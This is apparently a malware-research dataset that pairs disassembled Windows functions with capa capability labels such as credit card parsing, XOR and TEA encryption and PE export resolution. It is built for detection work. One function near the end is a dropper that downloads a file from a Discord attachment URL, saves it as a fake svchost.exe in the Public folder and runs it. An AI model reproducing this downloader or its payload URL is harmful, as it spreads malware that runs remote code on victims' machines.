joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e420
Capabilities:
Encode data using base64
Parse credit card information

Disassembly:
cmp byte [ebx + 9], 0
push edi
mov edi, eax
jne 0x42c095
push esi
push 0x40
call fcn.0041171a
add esp, 4
test eax, eax
je 0x40e451
mov esi, eax
call fcn.0040e3e0
mov ecx, dword [ebx + 4]
mov dword [esi + 0x38], ecx
inc dword [ebx]
mov dword [ebx + 4], esi
pop esi
pop edi
ret
mov ecx, dword [ebx + 4]
xor esi, esi
mov dword [esi + 0x38], ecx
inc dword [ebx]
mov dword [ebx + 4], esi
pop esi
pop edi
ret

Function at 0x40e640
Capabilities:
Parse credit card information

Disassembly:
call fcn.004092c0
push 0x10
mov dword [esi + 8], 4
call fcn.0041171a
add esp, 4
test eax, eax
je 0x42a3e3
mov ecx, dword [edi]
mov dword [eax], ecx
mov edx, dword [edi + 4]
mov dword [eax + 4], edx
mov ecx, dword [edi + 8]
mov dword [eax + 8], ecx
mov ecx, dword [edi + 0xc]
mov dword [eax + 0xc], ecx
inc dword [ecx]
mov dword [esi + 0xc], eax
mov eax, esi
ret
call fcn.004422ed
push eax
push ecx

Function at 0x40e6d0
Capabilities:
Parse credit card information

Disassembly:
push esi
mov esi, ebx
call fcn.004092c0
push 0x10
mov dword [ebx + 8], 4
call fcn.0041171a
add esp, 4
test eax, eax
je 0x42a3ea
mov esi, eax
call fcn.00401b70
mov dword [ebx + 0xc], eax
mov eax, ebx
pop esi
ret
push edi
call fcn.0046631a
add esp, 4
push eax
mov eax, dword [esi]
mov ecx, dword [eax]
add ecx, ebp
push ecx
call fcn.0040fbe7
mov edx, dword [esi]
mov eax, dword [edx + 4]
add esp, 0xc
push eax
call fcn.0040ff66
mov ecx, dword [esi]
mov dword [ecx + 4], ebp
mov edx, dword [esi]
add esp, 4
mov dword [edx], ebx
jmp fcn.0040a5c9

Function at 0x40e7c0
Capabilities:
Encode data using base64
Parse credit card information

Disassembly:
cmp dword [esi + 8], 5
jne 0x40e7d8
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
test eax, eax
je 0x40e7d8
cmp dword [eax], 1
jg 0x42c0a7
ret
add byte [ebx + 0x148b044e], cl
xchg ecx, eax
movsx eax, word [edx + 0xa]
push eax
push 0x6f
jmp 0x42d245

Function at 0x40f487
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x10020
call fcn.00425210
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x492380]
mov dl, byte [eax + 0x492378]
mov byte [esp + eax + 0xc], cl
mov byte [esp + eax + 0x14], dl
inc eax
cmp eax, 8
jl 0x40f460
lea eax, [esp]
push 0x4876e8
push eax
call fcn.00413990
add byte [edx + 4], ch
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x2c]
push edx
call fcn.00410f70
add esp, 0x14
push ebx
push ebp
push esi
mov dword [esp + 0x14], 0
Function at 0x40f547
Capabilities:
Read file on windows

Disassembly:
add byte [eax], al
add byte [eax], al
mov eax, dword [esp + 0x30]
cmp eax, 8
je 0x430d35
cmp eax, 0xa
je 0x430d5a
cmp eax, 5
je 0x430d71
cmp eax, 0xb
je 0x430d7f
cmp eax, 0xc
je 0x430da1
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x40]
mov eax, dword [esp + 0x10034]
mov ecx, dword [eax]
push ecx
push 0x10000
lea edx, [esp + 0x38]
push 1
push edx
call fcn.004151b0
add esp, 0x10
cmp eax, 0x18
jl 0x40f531
mov ebp, eax
lea edi, [ebp - 0x14]
test edi, edi
jle 0x40f4fd
xor edx, edx
mov edi, edi
xor ecx, ecx
lea esi, [esp + edx + 0x30]
mov al, byte [esp + ecx + 0x1c]
cmp al, byte [esi + ecx]
je 0x40f521
cmp ecx, 0x14
je 0x42937a
inc edx
cmp edx, edi
jl 0x40f4e0
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x10034]
lea edx, [ecx + ebp - 0x14]
mov ecx, dword [eax]
push 1
push 0xffffffffffffffec
push ecx
mov dword [esp + 0x24], edx
call fcn.0041557c
add esp, 0xc
jmp 0x40f4b0
mov bl, byte [esp + ecx + 0x1d]
lea eax, [ecx + edx]
cmp bl, byte [esp + eax + 0x31]
je 0x40f543
inc ecx
jmp 0x40f4ef
mov eax, 3
pop edi
mov bl, byte [esp + ecx + 0x1e]
lea eax, [ecx + edx]
cmp bl, byte [esp + eax + 0x32]
je 0x40f555
add ecx, 2
jmp 0x40f4ef
mov bl, byte [esp + ecx + 0x1f]
lea eax, [ecx + edx]
cmp bl, byte [esp + eax + 0x33]
jne 0x429372
mov bl, byte [esp + ecx + 0x20]
lea eax, [ecx + edx]
cmp bl, byte [esp + eax + 0x34]
je 0x429361
add ecx, 4
jmp 0x40f4ef
cmp byte [ebx + 0x25dc08ec], al
nop
lds ecx, [eax]
fstp qword [esp]
call fcn.00427d1d
jmp 0x40b4da
invalid
outsd dx, dword [esi]
mov es, word [ecx]
add byte [ebx - 0x17257408], cl
mov al, 0xeb
std
inc edi
inc esi
or byte [edx], al
add byte [eax], al
add byte [ecx + 0x45e893e], cl
jmp 0x40b500
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
mov dword [ebp], 1
pop ebp
mov eax, 1
pop ebx
ret
cmp eax, 0xa
jl 0x430cee
cmp eax, 0xc
jle 0x430d1b
cmp eax, 0xd
jne 0x430cee
mov eax, dword [esp + 0x1c]
dec eax
cmp edi, eax
jae 0x430d58
cmp byte [edi + 1], 0xa
mov eax, 2
je 0x430d5d
mov eax, 1
add byte [eax], al
add byte [edi + 0x5e], bl
pop edi
pop esi
mov dword [ebp], eax
pop ebp
mov eax, 1
pop ebx
ret
pop edi
pop esi
inc eax
mov dword [ebp], eax
pop ebp
mov eax, 1
pop ebx
ret
cmp eax, 0x2028
jl 0x430cee
cmp eax, 0x2029
jg 0x430cee
pop edi
pop esi
mov dword [ebp], 3
pop ebp
mov eax, 1
pop ebx
ret
add byte [eax], al
add byte [ebx - 0x3d], bl

Function at 0x40f6a0
Capabilities:
Hash data with md5

Disassembly:
push 8
lea eax, [esi + 0x44]
push 0
push eax
call fcn.004131f0
add esp, 0xc
mov dword [esi + 0x34], 0x67452301
Function at 0x410790
Capabilities:
Parse credit card information

Disassembly:
sub esp, 0x18
mov eax, dword [esi + 0x11c]
mov dword [esp], eax
lea esp, [esp]
test eax, eax
jne 0x42bd0d
add esp, 0x18
ret
inc dword [eax + eax*8 + 0x375840f]
add byte [eax], al
test dword [esp + 0x18], 0x100
je 0x42bd50
test edi, 0x100
jne 0x42bd50
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 4]
mov eax, dword [esp + 0x58]
mov ecx, dword [edx + eax*4]
movsx edx, word [ecx + 0xa]
mov eax, dword [ebp + 8]
push edx
push 0xb0
push eax
jmp fcn.0042d249
mov eax, dword [esp + 0x1c]
mov edi, 1
add dword [esp + 0x58], edi
add dword [esp + 0x10], edi
cmp dword [eax + 8], 5
jne 0x42bdc1
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 4]
add al, 0x8b
inc esp
and al, 0x58
Function at 0x443cc8
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
mov eax, dword [esi]
lea ecx, [eax + 4]
push edi
mov edi, dword [eax + edx]
mov dword [esi], ecx
xor ecx, ecx
lea eax, [edi + 1]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00410391
mov ebx, eax
mov eax, dword [esi]
add eax, dword [esp + 0x18]
lea ebp, [edi + edi]
push ebp
push eax
push ebx
call fcn.0040fbe7
add dword [esi], ebp
xor ecx, ecx
add esp, 0x10
xor eax, eax
mov word [ebx + ebp], cx
test edi, edi
jle 0x443d24
xor word [ebx + eax*2], di
inc eax
cmp eax, edi
jl 0x443d1b
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
ret 8
Function at 0x449c53
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xdc
push ebx
mov ebx, dword [esp + 0xe4]
push esi
push edi
mov edi, dword [esp + 0xf0]
lea eax, [esp + 0x10]
push eax
call fcn.00441e57
mov ecx, dword [esp + 0xf4]
push ecx
lea edx, [esp + 0x14]
push edx
call fcn.00441db1
xor esi, esi
test edi, edi
jbe 0x449ca5
lea esp, [esp]
lea eax, [esp + 0x10]
push eax
call fcn.00441e29
xor byte [esi + ebx], al
inc esi
cmp esi, edi
jb 0x449c93
pop edi
pop esi
pop ebx
add esp, 0xdc
ret 0xc
Function at 0x45687f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x50
push ebx
push ebp
mov ebp, dword [esp + 0x64]
push esi
push edi
lea ecx, [esp + 0x14]
call fcn.0040acd7
xor esi, esi
push 0x3c
lea eax, [esp + 0x28]
push esi
push eax
xor ebx, ebx
mov dword [esp + 0x78], esi
mov dword [esp + 0x1c], 1
call fcn.00411e67
add esp, 0xc
cmp dword [esp + 0x70], 2
jb 0x4568e0
mov ecx, dword [ebp + 4]
mov eax, dword [ecx + 4]
push eax
call fcn.00451cf8
cmp word [eax], bx
je 0x4568e0
mov edx, dword [ebp + 4]
mov eax, dword [edx + 4]
push eax
call fcn.00451cf8
mov edi, eax
call fcn.0040ec67
mov ebx, eax
cmp dword [esp + 0x70], 3
jb 0x456900
mov eax, dword [ebp + 4]
mov eax, dword [eax + 8]
push eax
call fcn.00451cf8
mov edi, eax
call fcn.0040ec67
mov dword [esp + 0x6c], eax
mov esi, eax
cmp dword [esp + 0x70], 4
jb 0x45693d
mov ecx, dword [ebp + 4]
mov eax, dword [ecx + 0xc]
push eax
call fcn.00451cf8
cmp word [eax], 0
je 0x45693d
mov edx, dword [ebp + 4]
mov edi, dword [edx + 0xc]
push edi
call fcn.00449a76
test al, al
jne 0x45693d
push edi
call fcn.00451cda
push eax
lea esi, [esp + 0x18]
call fcn.0040cbc7
mov esi, dword [esp + 0x6c]
cmp dword [esp + 0x70], 5
jb 0x456956
mov eax, dword [ebp + 4]
mov ecx, dword [eax + 0x10]
call fcn.0040b3d7
movzx ecx, ax
mov dword [esp + 0x10], ecx
push 0x3c
lea edx, [esp + 0x28]
push 0
push edx
call fcn.00411e67
mov eax, dword [esp + 0x20]
mov ecx, dword [ebp + 4]
mov dword [esp + 0x30], 0x3c
mov dword [esp + 0x34], 0x40
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], eax
mov eax, dword [ecx]
add esp, 0xc
push eax
call fcn.00451cf8
mov edx, dword [esp + 0x10]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], edx
call dword [0x482464]
mov edi, eax
test ebx, ebx
je 0x4569c0
push ebx
call fcn.0040ff66
add esp, 4
test esi, esi
je 0x4569cd
push esi
call fcn.0040ff66
add esp, 4
test edi, edi
jne 0x456a0b
mov ecx, dword [esp + 0x64]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push edi
push 1
add eax, ecx
call fcn.00402d57
mov esi, dword [esp + 0x74]
call fcn.00407f37
lea ecx, [esp + 0x14]
mov dword [esi + 8], 1
mov dword [esi], edi
call fcn.00401297
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x50
ret 0x14
cmp byte [esp + 0x68], 0
je 0x456a35
mov eax, dword [esp + 0x5c]
mov ecx, dword [esp + 0x64]
mov dword [ecx + 0x450], eax
lea ecx, [esp + 0x14]
call fcn.00401297
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x50
ret 0x14
mov esi, dword [esp + 0x74]
call fcn.00407f37
mov eax, dword [esp + 0x5c]
mov dword [esi + 8], 1
mov dword [esi], 1
test eax, eax
je 0x456a5a
push eax
call dword [0x482308]
lea ecx, [esp + 0x14]
call fcn.00401297
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x50
ret 0x14
Function at 0x476e25
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x30
mov ecx, dword [esp + 0x38]
push ebx
push ebp
mov ebp, dword [esp + 0x3c]
xor ebx, ebx
push esi
mov esi, dword [esp + 0x48]
push edi
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], ebx
mov edi, ecx
cmp byte [0x4a7cc1], bl
je 0x476fbd
mov eax, dword [0x4a7cc4]
cmp eax, ebx
je 0x476fbd
mov edx, 3
mov word [eax + 0x38], dx
mov dword [eax + 0x40], ecx
mov word [eax + 0x98], dx
call dword [0x482304]
mov edx, dword [0x4a7cc4]
mov dword [edx + 0xa0], eax
mov eax, 3
mov word [edx + 0xa8], ax
mov ecx, dword [ebp + 0xf4]
push ecx
call fcn.004366c4
mov dword [edx + 0xb0], eax
cmp esi, ebx
je 0x476f3d
mov ecx, dword [esi + 4]
mov ebx, dword [0x482430]
mov eax, 8
mov word [esp + 0x20], ax
lea eax, [esp + 0x20]
push eax
add edx, 0x68
push edx
mov dword [esp + 0x30], ecx
call ebx
mov eax, dword [0x4a7cc4]
mov ecx, dword [esi + 8]
lea edx, [esp + 0x20]
push edx
add eax, 0x58
push eax
mov dword [esp + 0x30], ecx
call ebx
mov eax, dword [0x4a7cc4]
mov ecx, dword [esi + 0xc]
lea edx, [esp + 0x20]
push edx
add eax, 0x78
push eax
mov dword [esp + 0x30], ecx
call ebx
mov eax, dword [0x4a7cc4]
mov ecx, 3
mov word [eax + 0x88], cx
mov edx, dword [esi + 0x10]
mov dword [eax + 0x90], edx
mov word [eax + 0xb8], cx
movzx ecx, word [esi]
test cx, cx
je 0x476f2e
movzx esi, cx
jmp 0x476f31
mov esi, dword [esi + 0x1c]
mov dword [eax + 0xc0], esi
test esi, esi
je 0x476f3d
mov edi, esi
mov eax, dword [esp + 0x50]
test eax, eax
je 0x476f52
mov edi, eax
lea ebx, [esp + 0x10]
call fcn.0040d347
jmp 0x476f71
push edi
lea edx, [esp + 0x34]
push edx
call fcn.00449bd3
mov edi, eax
lea esi, [esp + 0x10]
call fcn.0040d2b7
lea ecx, [esp + 0x30]
call fcn.00401297
mov eax, dword [0x4a7cc4]
add eax, 0x48
push eax
lea ecx, [esp + 0x14]
push ecx
call fcn.00475701
mov ecx, dword [0x4a7cc4]
mov edx, dword [ecx]
mov eax, dword [edx + 0x20]
add esp, 8
call eax
mov edx, dword [ebp]
mov ecx, dword [esp + 0x48]
mov eax, dword [edx + 4]
push 0
push ecx
add eax, ebp
call fcn.00402d57
lea esi, [esp + 0x10]
call fcn.00407f37
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30
ret 0x14
mov eax, dword [ebp]
mov eax, dword [eax + 4]
push ebx
push ecx
add eax, ebp
call fcn.00402d57
cmp byte [esp + 0x54], bl
je 0x476fa8
lea esi, [esp + 0x10]
call fcn.00407f37
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x30
ret 0x14
Function at 0x401207
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
mov eax, dword [0x4182d8]
and dword [ebp - 0x18], 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [0x4182dc]
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], eax
mov esi, dword [edi]
mov edx, dword [edi + 4]
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], edx
call fcn.00401200
mov ebx, dword [ebp - 0x18]
add ebx, 0x23f
cmp dword [0xadfe64], 0x14
jne 0x401265
push 0
lea eax, [ebp - 0x830]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov edx, dword [ebp - 0xc]
mov ecx, dword [0x4182e0]
mov eax, dword [0x4182e4]
push 0x20
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
pop edi
mov dword [ebp - 0x1c], 2
add dword [ebp - 0x1c], 3
mov eax, esi
mov dword [ebp - 0xc], 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0xadfe64], 0xfa9
mov dword [ebp - 8], eax
mov eax, dword [0xadfe60]
cmove eax, dword [ebp - 0xc]
and dword [ebp - 0xc], 0
cmp dword [0xadfe64], 0x3eb
mov dword [0xadfe60], eax
mov eax, dword [0xadfdb8]
cmove eax, dword [ebp - 0xc]
mov dword [0xadfdb8], eax
lea eax, [ebx + esi]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
shr eax, 5
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
and dword [ebp - 0x10], 0
mov dword [0xadfe5c], 0xf4ea3dee
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
xor eax, dword [ebp - 4]
sub edx, eax
mov dword [ebp - 0x14], eax
mov eax, edx
mov dword [ebp - 0xc], edx
shl eax, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
mov ecx, dword [ebp - 0x1c]
lea eax, [ebx + edx]
and dword [ebp - 4], 0
mov dword [ebp - 0x18], eax
mov eax, edx
shr eax, cl
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
xor dword [ebp - 0x10], eax
cmp dword [0xadfe64], 0xb03
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jne 0x401363
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
xor eax, dword [ebp - 0x14]
add ebx, 0x61c88647
mov ecx, dword [ebp - 0x24]
sub esi, eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], esi
dec edi
jne 0x401279
mov edi, dword [ebp - 0x2c]
mov dword [edi], esi
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c062
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x417f10]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00407f6c
mov dword [ebp - 0x14], eax
cmp dword [0x43b654], esi
jne 0x40c155
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40c0e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40c235
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40c235
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40c235
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43b654], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43b658], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x43b65c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43b664], eax
test eax, eax
je 0x40c152
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43b660], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40c17a
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40c16d
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40c18f
push 4
pop eax
jmp 0x40c237
cmp dword [ebp - 0x14], esi
je 0x40c18f
push dword [0x43b654]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40c174
mov eax, dword [0x43b660]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40c1ed
cmp dword [0x43b664], edi
je 0x40c1ed
push eax
call ebx
push dword [0x43b664]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40c1ed
test eax, eax
je 0x40c1ed
call ecx
test eax, eax
je 0x40c1e2
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40c1e2
test byte [ebp - 8], 1
jne 0x40c1ed
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40c21d
mov eax, dword [0x43b658]
cmp eax, edi
je 0x40c21a
push eax
call ebx
test eax, eax
je 0x40c21a
call eax
mov esi, eax
test esi, esi
je 0x40c21a
mov eax, dword [0x43b65c]
cmp eax, edi
je 0x40c21a
push eax
call ebx
test eax, eax
je 0x40c21a
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43b654]
call ebx
test eax, eax
je 0x40c235
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40c237
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004040a8
mov esp, ebp
pop ebp
ret
Function at 0x401cd5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47c07c]
jne 0x401cdf
repz ret
jmp fcn.00402908

Function at 0x40837a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x47c07c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405b1d
and dword [ebp - 0x14], 0
cmp dword [0x47ee64], 0
mov dword [ebp - 0x18], eax
jne 0x40842d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4084d5
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4084d5
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x47ee64], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x47ee68], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x47ee6c], eax
call edi
push eax
call esi
mov dword [0x47ee74], eax
test eax, eax
je 0x40842d
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x47ee70], eax
mov eax, dword [0x47ee70]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x408486
cmp dword [0x47ee74], ecx
je 0x408486
push eax
call esi
push dword [0x47ee74]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x408486
test ebx, ebx
je 0x408486
call edi
test eax, eax
je 0x40847d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40847d
test byte [ebp - 8], 1
jne 0x408486
or dword [ebp + 0x10], 0x200000
jmp 0x4084b9
mov eax, dword [0x47ee68]
cmp eax, dword [ebp - 0x18]
je 0x4084b9
push eax
call esi
test eax, eax
je 0x4084b9
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4084b9
mov eax, dword [0x47ee6c]
cmp eax, dword [ebp - 0x18]
je 0x4084b9
push eax
call esi
test eax, eax
je 0x4084b9
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x47ee64]
call esi
test eax, eax
je 0x4084d5
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4084d7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401cd5
leave
ret
Function at 0x10016000
Capabilities:
Create process on windows
Create thread
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10171af1
mov eax, dword fs:[0]
push eax
sub esp, 0xe4
mov eax, dword [0x10249500]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x2c
mov esi, str.https:__cdn.discordapp.com_attachments_1156303189474295931_1219359703293759498_1.com_ex660b0437is65f88f37hm641fe109c01e69d6e3e1d45a7b0d20c71271192cc1b0a5a6f45fd4f2c5119fdc
lea edi, [ebp - 0xe0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 7
mov esi, str.C:UsersPublic_svchost.exe
lea edi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xe0]
push eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0xe0]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov dword [ebp - 0xf0], eax
push 5
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp dword [ebp + 0xc], 1
jne 0x10016183
mov ecx, dword [0x109572e0]
mov edx, dword fs:[0x2c]
mov eax, dword [edx + ecx*4]
mov ecx, dword [0x10942f64]
cmp ecx, dword [eax + 4]
jle 0x100160f5
push 0x10942f64
call fcn.1016fea9
add esp, 4
cmp dword [0x10942f64], 0xffffffff
jne 0x100160f5
mov dword [ebp - 4], 0
push str.56_8B_71_3C_B8
push 0x1017d7a8
call fcn.10091d00
add esp, 8
mov dword [0x10942f60], eax
mov dword [ebp - 4], 0xffffffff
push 0x10942f64
call fcn.1016fe58
add esp, 4
cmp dword [0x10942f60], 0
je 0x10016115
mov edx, dword [0x10942f60]
mov dword [ebp - 0xec], edx
xor edx, edx
mov ecx, dword [ebp + 8]
call dword [ebp - 0xec]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0x10012a70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0
je 0x10016152
mov edx, dword [ebp - 0xe4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x10051cc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0
je 0x10016183
mov eax, dword [ebp - 0xe8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1016ff0d
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1001fda0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, 1
imul ecx, eax, 0
mov edx, dword [ebp + 8]
movsx eax, byte [edx + ecx]
test eax, eax
jne 0x1001fdbf
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
jmp 0x1001fdef
mov edx, 1
imul eax, edx, 0
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx + eax]
xor edx, dword [ebp + 0xc]
imul eax, edx, 0x1000193
push eax
mov ecx, 1
shl ecx, 0
add ecx, dword [ebp + 8]
push ecx
call fcn.1001fda0
add esp, 8
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret